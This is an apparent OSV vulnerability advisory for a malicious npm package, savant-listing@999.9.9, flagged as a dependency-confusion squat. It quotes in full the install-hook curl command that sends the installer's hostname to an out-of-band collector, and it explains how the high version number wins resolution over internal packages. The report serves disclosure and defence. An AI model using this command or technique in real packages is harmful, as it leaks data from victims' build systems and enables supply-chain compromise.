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savant-listing@999.9.10

Vulnerability report · Last retrieved from osv.dev September 7, 2026 at 5:03 PM UTC

Malicious

OSV ID

MAL-2026-5401

Ecosystem

npm

Summary

savant-listing@999.9.9 is a dependency-confusion squat. package.json declares both install and postinstall lifecycle scripts that run curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname), unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every npm install. The version 999.9.9 and description SAFE PoC - Demonstrates dependency confusion are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.

Source: amazon-inspector (7360e78a5c5d56ea9323cde1f41e33ce8cc6b625034ef82d067bbfeafee60461)

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